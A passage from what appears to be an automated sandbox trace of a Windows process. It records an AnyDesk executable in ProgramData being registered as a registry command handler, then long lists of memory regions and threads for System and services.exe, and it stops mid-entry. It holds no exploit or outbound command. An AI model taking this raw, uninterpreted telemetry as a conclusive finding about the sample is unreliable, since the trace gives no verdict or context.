RegCreateKeyExW (in: hKey=0x1b4, lpSubKey="command", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x126470, lpdwDisposition=0x0 | out: phkResult=0x126470*=0x1b8, lpdwDisposition=0x0) returned 0x0 [0196.066] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x4) returned 0x24f4b0 [0196.066] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x48) returned 0x3353c68 [0196.066] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146a65c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0196.066] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xe) returned 0x24e4c8 [0196.066] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146a65c, cbMultiByte=-1, lpWideCharStr=0x24e4c8, cchWideChar=7 | out: lpWideCharStr="\" \"%1\"") returned 7 [0196.066] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x54) returned 0x3353cb8 [0196.066] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e4c8 | out: hHeap=0x240000) returned 1 [0196.066] RegSetValueExW (in: hKey=0x1b8, lpValueName="", Reserved=0x0, dwType=0x1, lpData="\"C:\\ProgramData\\AnyDesk\\AnyDesk.exe\" \"%1\"", cbData=0x54 | out: lpData="\"C:\\ProgramData\\AnyDesk\\AnyDesk.exe\" \"%1\"") returned 0x0 [0196.067] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353cb8 | out: hHeap=0x240000) returned 1 [0196.067] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353c68 | out: hHeap=0x240000) returned 1 [0196.068] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4b0 | out: hHeap=0x240000) returned 1 [0196.068] RegCloseKey (hKey=0x1b8) returned 0x0 [0196.068] RegCloseKey (hKey=0x1b4) returned 0x0 [0196.068] RegCloseKey (hKey=0x1b0) returned 0x0 [0196.068] RegCloseKey (hKey=0x1ac) returned 0x0 [0196.068] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353430 | out: hHeap=0x240000) returned 1 [0196.068] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e4b0 | out: hHeap=0x240000) returned 1 [0196.068] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4d0 | out: hHeap=0x240000) returned 1 [0196.068] RegCloseKey (hKey=0x1a4) returned 0x0 [0196.068] RegCloseKey (hKey=0x80000000) returned 0x0 [0196.068] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469de4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0196.068] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x16) returned 0x24d8d0 [0196.068] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469de4, cbMultiByte=-1, lpWideCharStr=0x24d8d0, cchWideChar=11 | out: lpWideCharStr=" --control") returned 11 [0196.069] CoCreateInstance (in: rclsid=0x1041254*(Data1=0x9ba05972, Data2=0xf6a8, Data3=0x11cf, Data4=([0]=0xa4, [1]=0x42, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xa, [6]=0x8f, [7]=0x39)), pUnkOuter=0x0, dwClsContext=0x4, riid=0x1041244*(Data1=0x85cb6900, Data2=0x4d95, Data3=0x11cf, Data4=([0]=0x96, [1]=0xc, [2]=0x0, [3]=0x80, [4]=0xc7, [5]=0xf4, [6]=0xee, [7]=0x85)), ppv=0x126400 | out: ppv=0x126400*=0x50682c) returned 0x0 [0200.145] ShellWindows:IShellWindows:FindWindowSW (in: This=0x50682c, pvarloc=0x126444*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pvarlocRoot=0x126444*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), swClass=8, pHWND=0x126468, swfwOptions=1, ppdispOut=0x126408 | out: pHWND=0x126468*=131202, ppdispOut=0x126408*=0x5069dc) returned 0x0 [0200.309] IUnknown_QueryService (in: punk=0x5069dc, guidService=0x104104c*(Data1=0x4c96be40, Data2=0x915c, Data3=0x11cf, Data4=([0]=0x99, [1]=0xd3, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4a, [6]=0xe8, [7]=0x37)), riid=0x104101c*(Data1=0x214e2, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvOut=0x126404 | out: ppvOut=0x126404*=0x52cbd4) returned 0x0 [0203.452] ShellWindows:IShellWindows:FindWindowSW (in: This=0x52cbd4, pvarloc=0x12640c*(varType=0x0, wReserved1=0x0, wReserved2=0x73fc, wReserved3=0x148, varVal1=0x0, varVal2=0x126401), pvarlocRoot=0x0, swClass=1205696, pHWND=0x1265d8, swfwOptions=0, ppdispOut=0x50682c | out: pHWND=0x1265d8*=1501640, ppdispOut=0x50682c*=0x5311f0) returned 0x0 [0203.917] ShellWindows:IShellWindows:FindWindowSW (in: This=0x52ccac, pvarloc=0x0, pvarlocRoot=0x1041264*(varType=0x400, wReserved1=0x2, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x46000000), swClass=1205284, pHWND=0x0, swfwOptions=1205696, ppdispOut=0x1265d8 | out: pHWND=0x0, ppdispOut=0x1265d8*=0x16e9c8) returned 0x0 [0203.919] ShellWindows:IUnknown:QueryInterface (This=0x52cdcc, riid=0x10410bc*(Data1=0xe7a1af80, Data2=0x4d96, Data3=0x11cf, Data4=([0]=0x96, [1]=0xc, [2]=0x0, [3]=0x80, [4]=0xc7, [5]=0xf4, [6]=0xee, [7]=0x85)), ppvObject=0x12641c) Thread: id = 198 os_tid = 0x3a4 Thread: id = 499 os_tid = 0xb20 Thread: id = 506 os_tid = 0xb3c Thread: id = 507 os_tid = 0xb40 Process: id = "16" image_name = "System" filename = "" page_root = "0x187000" os_pid = "0x4" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "created_daemon" parent_id = "15" os_parent_pid = "0xffffffffffffffff" cmd_line = "" cur_dir = "" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Region: id = 4921 start_va = 0x10000 end_va = 0x32fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4922 start_va = 0x40000 end_va = 0x5ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 4923 start_va = 0x60000 end_va = 0x7ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 4924 start_va = 0x80000 end_va = 0x80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000080000" filename = "" Region: id = 4925 start_va = 0x90000 end_va = 0xaffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 4926 start_va = 0xb0000 end_va = 0xcffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000b0000" filename = "" Region: id = 4927 start_va = 0xd0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4928 start_va = 0xf0000 end_va = 0x10ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 4929 start_va = 0x110000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 4930 start_va = 0x130000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 4931 start_va = 0x150000 end_va = 0x16ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 4932 start_va = 0x170000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 4933 start_va = 0x190000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 4934 start_va = 0x1b0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 4935 start_va = 0x1d0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 4936 start_va = 0x1f0000 end_va = 0x20ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 4937 start_va = 0x210000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000210000" filename = "" Region: id = 4938 start_va = 0x230000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000230000" filename = "" Region: id = 4939 start_va = 0x250000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000250000" filename = "" Region: id = 4940 start_va = 0x270000 end_va = 0x28ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 4941 start_va = 0x290000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000290000" filename = "" Region: id = 4942 start_va = 0x2b0000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002b0000" filename = "" Region: id = 4943 start_va = 0x2d0000 end_va = 0x2effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 4944 start_va = 0x2f0000 end_va = 0x30ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002f0000" filename = "" Region: id = 4945 start_va = 0x310000 end_va = 0x32ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 4946 start_va = 0x330000 end_va = 0x34ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000330000" filename = "" Region: id = 4947 start_va = 0x350000 end_va = 0x36ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000350000" filename = "" Region: id = 4948 start_va = 0x370000 end_va = 0x38ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000370000" filename = "" Region: id = 4949 start_va = 0x390000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000390000" filename = "" Region: id = 4950 start_va = 0x3b0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 4951 start_va = 0x3d0000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003d0000" filename = "" Region: id = 4952 start_va = 0x3f0000 end_va = 0x40ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 4953 start_va = 0x410000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000410000" filename = "" Region: id = 4954 start_va = 0x430000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4955 start_va = 0x450000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4956 start_va = 0x470000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 4957 start_va = 0x490000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 4958 start_va = 0x4b0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004b0000" filename = "" Region: id = 4959 start_va = 0x4d0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004d0000" filename = "" Region: id = 4960 start_va = 0x4f0000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004f0000" filename = "" Region: id = 4961 start_va = 0x510000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000510000" filename = "" Region: id = 4962 start_va = 0x530000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000530000" filename = "" Region: id = 4963 start_va = 0x550000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000550000" filename = "" Region: id = 4964 start_va = 0x570000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000570000" filename = "" Region: id = 4965 start_va = 0x590000 end_va = 0x5affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000590000" filename = "" Region: id = 4966 start_va = 0x5b0000 end_va = 0x5cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005b0000" filename = "" Region: id = 4967 start_va = 0x5d0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4968 start_va = 0x5f0000 end_va = 0x60ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005f0000" filename = "" Region: id = 4969 start_va = 0x610000 end_va = 0x62ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000610000" filename = "" Region: id = 4970 start_va = 0x630000 end_va = 0x64ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000630000" filename = "" Region: id = 4971 start_va = 0x650000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000650000" filename = "" Region: id = 4972 start_va = 0x670000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000670000" filename = "" Region: id = 4973 start_va = 0x690000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000690000" filename = "" Region: id = 4974 start_va = 0x6b0000 end_va = 0x6cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 4975 start_va = 0x6d0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 4976 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4977 start_va = 0x76f00000 end_va = 0x7707ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 4978 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4979 start_va = 0x7fff19d0000 end_va = 0x7fff19fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fff19d0000" filename = "" Region: id = 4980 start_va = 0x7fff1ed0000 end_va = 0x7fff1efffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fff1ed0000" filename = "" Region: id = 4981 start_va = 0x7fff23d0000 end_va = 0x7fff23fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fff23d0000" filename = "" Region: id = 4982 start_va = 0x7fff28d0000 end_va = 0x7fff28fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fff28d0000" filename = "" Region: id = 4983 start_va = 0x7fff2dd0000 end_va = 0x7fff2dfffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fff2dd0000" filename = "" Region: id = 4984 start_va = 0x7fff32d0000 end_va = 0x7fff32fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fff32d0000" filename = "" Region: id = 4985 start_va = 0x7fff37d0000 end_va = 0x7fff37fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fff37d0000" filename = "" Region: id = 4986 start_va = 0x7fff3cd0000 end_va = 0x7fff3cfffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fff3cd0000" filename = "" Region: id = 4987 start_va = 0x7fff41d0000 end_va = 0x7fff41fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fff41d0000" filename = "" Region: id = 4988 start_va = 0x7fff46d0000 end_va = 0x7fff46fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fff46d0000" filename = "" Region: id = 4989 start_va = 0x7fff4bd0000 end_va = 0x7fff4bfffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fff4bd0000" filename = "" Region: id = 4990 start_va = 0x7fff50d0000 end_va = 0x7fff50fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fff50d0000" filename = "" Region: id = 4991 start_va = 0x7fff55d0000 end_va = 0x7fff55fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fff55d0000" filename = "" Region: id = 4992 start_va = 0x7fff5ad0000 end_va = 0x7fff5afffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fff5ad0000" filename = "" Region: id = 4993 start_va = 0x7fff5fd0000 end_va = 0x7fff5ffffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fff5fd0000" filename = "" Region: id = 4994 start_va = 0x7fff64d0000 end_va = 0x7fff64fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fff64d0000" filename = "" Region: id = 4995 start_va = 0x7fff69d0000 end_va = 0x7fff69fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fff69d0000" filename = "" Region: id = 4996 start_va = 0x7fff6ed0000 end_va = 0x7fff6efffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fff6ed0000" filename = "" Region: id = 4997 start_va = 0x7fff78d0000 end_va = 0x7fff78fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fff78d0000" filename = "" Region: id = 4998 start_va = 0x7fff7dd0000 end_va = 0x7fff7dfffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fff7dd0000" filename = "" Region: id = 4999 start_va = 0x7fff82d0000 end_va = 0x7fff82fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fff82d0000" filename = "" Region: id = 5000 start_va = 0x7fff87d0000 end_va = 0x7fff87fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fff87d0000" filename = "" Region: id = 5001 start_va = 0x7fff8cd0000 end_va = 0x7fff8cfffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fff8cd0000" filename = "" Region: id = 5002 start_va = 0x7fff91d0000 end_va = 0x7fff91fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fff91d0000" filename = "" Region: id = 5003 start_va = 0x7fff96d0000 end_va = 0x7fff96fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fff96d0000" filename = "" Region: id = 5004 start_va = 0x7fff9bd0000 end_va = 0x7fff9bfffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fff9bd0000" filename = "" Region: id = 5005 start_va = 0x7fffa0d0000 end_va = 0x7fffa0fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffa0d0000" filename = "" Region: id = 5006 start_va = 0x7fffa5d0000 end_va = 0x7fffa5fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffa5d0000" filename = "" Region: id = 5007 start_va = 0x7fffaad0000 end_va = 0x7fffaafffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffaad0000" filename = "" Region: id = 5008 start_va = 0x7fffafd0000 end_va = 0x7fffaffffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffafd0000" filename = "" Region: id = 5009 start_va = 0x7fffb4d0000 end_va = 0x7fffb4fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffb4d0000" filename = "" Region: id = 5010 start_va = 0x7fffb9d0000 end_va = 0x7fffb9fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffb9d0000" filename = "" Region: id = 5011 start_va = 0x7fffbed0000 end_va = 0x7fffbefffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffbed0000" filename = "" Region: id = 5012 start_va = 0x7fffc3d0000 end_va = 0x7fffc3fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffc3d0000" filename = "" Region: id = 5013 start_va = 0x7fffc8d0000 end_va = 0x7fffc8fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffc8d0000" filename = "" Region: id = 5014 start_va = 0x7fffcdd0000 end_va = 0x7fffcdfffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffcdd0000" filename = "" Region: id = 5015 start_va = 0x7fffd2d0000 end_va = 0x7fffd2fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffd2d0000" filename = "" Region: id = 5016 start_va = 0x7fffd7d0000 end_va = 0x7fffd7fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffd7d0000" filename = "" Region: id = 5017 start_va = 0x7fffdcd0000 end_va = 0x7fffdcfffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffdcd0000" filename = "" Region: id = 5018 start_va = 0x7fffe1d0000 end_va = 0x7fffe1fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffe1d0000" filename = "" Region: id = 5019 start_va = 0x7fffe6d0000 end_va = 0x7fffe6fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffe6d0000" filename = "" Region: id = 5020 start_va = 0x7fffebd0000 end_va = 0x7fffebfffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffebd0000" filename = "" Region: id = 5021 start_va = 0x7ffff0d0000 end_va = 0x7ffff0fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007ffff0d0000" filename = "" Region: id = 5022 start_va = 0x7ffff5d0000 end_va = 0x7ffff5fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007ffff5d0000" filename = "" Region: id = 5023 start_va = 0x7ffffad0000 end_va = 0x7ffffafffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007ffffad0000" filename = "" Thread: id = 199 os_tid = 0xe28 Thread: id = 200 os_tid = 0xd0c Thread: id = 201 os_tid = 0x38 Thread: id = 202 os_tid = 0x978 Thread: id = 203 os_tid = 0xe0 Thread: id = 204 os_tid = 0x988 Thread: id = 205 os_tid = 0x100 Thread: id = 206 os_tid = 0xf98 Thread: id = 207 os_tid = 0xebc Thread: id = 208 os_tid = 0xc4 Thread: id = 209 os_tid = 0x94c Thread: id = 210 os_tid = 0x918 Thread: id = 211 os_tid = 0x8c8 Thread: id = 212 os_tid = 0xd4 Thread: id = 213 os_tid = 0x744 Thread: id = 214 os_tid = 0x18 Thread: id = 215 os_tid = 0xd8 Thread: id = 216 os_tid = 0xac Thread: id = 217 os_tid = 0x7c Thread: id = 218 os_tid = 0x320 Thread: id = 219 os_tid = 0x324 Thread: id = 220 os_tid = 0x724 Thread: id = 221 os_tid = 0x60 Thread: id = 222 os_tid = 0x90 Thread: id = 223 os_tid = 0x7b4 Thread: id = 224 os_tid = 0x0 Thread: id = 225 os_tid = 0x358 Thread: id = 226 os_tid = 0x354 Thread: id = 227 os_tid = 0x44c Thread: id = 228 os_tid = 0x50 Thread: id = 229 os_tid = 0x450 Thread: id = 230 os_tid = 0x764 Thread: id = 231 os_tid = 0x72c Thread: id = 232 os_tid = 0x728 Thread: id = 233 os_tid = 0x720 Thread: id = 234 os_tid = 0xa0 Thread: id = 235 os_tid = 0x1c Thread: id = 236 os_tid = 0x24 Thread: id = 237 os_tid = 0xdc Thread: id = 238 os_tid = 0x644 Thread: id = 239 os_tid = 0x640 Thread: id = 240 os_tid = 0x638 Thread: id = 241 os_tid = 0x62c Thread: id = 242 os_tid = 0x614 Thread: id = 243 os_tid = 0x608 Thread: id = 244 os_tid = 0x5bc Thread: id = 245 os_tid = 0x80 Thread: id = 246 os_tid = 0x8c Thread: id = 247 os_tid = 0x508 Thread: id = 248 os_tid = 0x504 Thread: id = 249 os_tid = 0x4c8 Thread: id = 250 os_tid = 0x448 Thread: id = 251 os_tid = 0xc0 Thread: id = 252 os_tid = 0x3d0 Thread: id = 253 os_tid = 0x98 Thread: id = 254 os_tid = 0x20 Thread: id = 255 os_tid = 0x94 Thread: id = 256 os_tid = 0x304 Thread: id = 257 os_tid = 0xa8 Thread: id = 258 os_tid = 0x28c Thread: id = 259 os_tid = 0x5c Thread: id = 260 os_tid = 0x74 Thread: id = 261 os_tid = 0xa4 Thread: id = 262 os_tid = 0x124 Thread: id = 263 os_tid = 0x68 Thread: id = 264 os_tid = 0x108 Thread: id = 265 os_tid = 0x4c Thread: id = 266 os_tid = 0x194 Thread: id = 267 os_tid = 0x9c Thread: id = 268 os_tid = 0xcc Thread: id = 269 os_tid = 0x158 Thread: id = 270 os_tid = 0x130 Thread: id = 271 os_tid = 0x88 Thread: id = 272 os_tid = 0x138 Thread: id = 273 os_tid = 0x128 Thread: id = 274 os_tid = 0x3c Thread: id = 275 os_tid = 0xb8 Thread: id = 276 os_tid = 0x12c Thread: id = 277 os_tid = 0x44 Thread: id = 278 os_tid = 0x28 Thread: id = 279 os_tid = 0x30 Thread: id = 280 os_tid = 0x2c Thread: id = 281 os_tid = 0x48 Thread: id = 282 os_tid = 0x64 Thread: id = 283 os_tid = 0x40 Thread: id = 284 os_tid = 0xc8 Thread: id = 285 os_tid = 0x8 Thread: id = 494 os_tid = 0xb10 Thread: id = 519 os_tid = 0xb98 Process: id = "17" image_name = "services.exe" filename = "c:\\windows\\system32\\services.exe" page_root = "0x2c463000" os_pid = "0x1cc" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "created_daemon" parent_id = "15" os_parent_pid = "0x174" cmd_line = "C:\\Windows\\system32\\services.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Region: id = 2923 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2924 start_va = 0x20000 end_va = 0x24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "services.exe.mui" filename = "\\Windows\\System32\\en-US\\services.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\services.exe.mui") Region: id = 2925 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2926 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2927 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2928 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 2929 start_va = 0x80000 end_va = 0x80fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 2930 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 2931 start_va = 0x190000 end_va = 0x190fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 2932 start_va = 0x1e0000 end_va 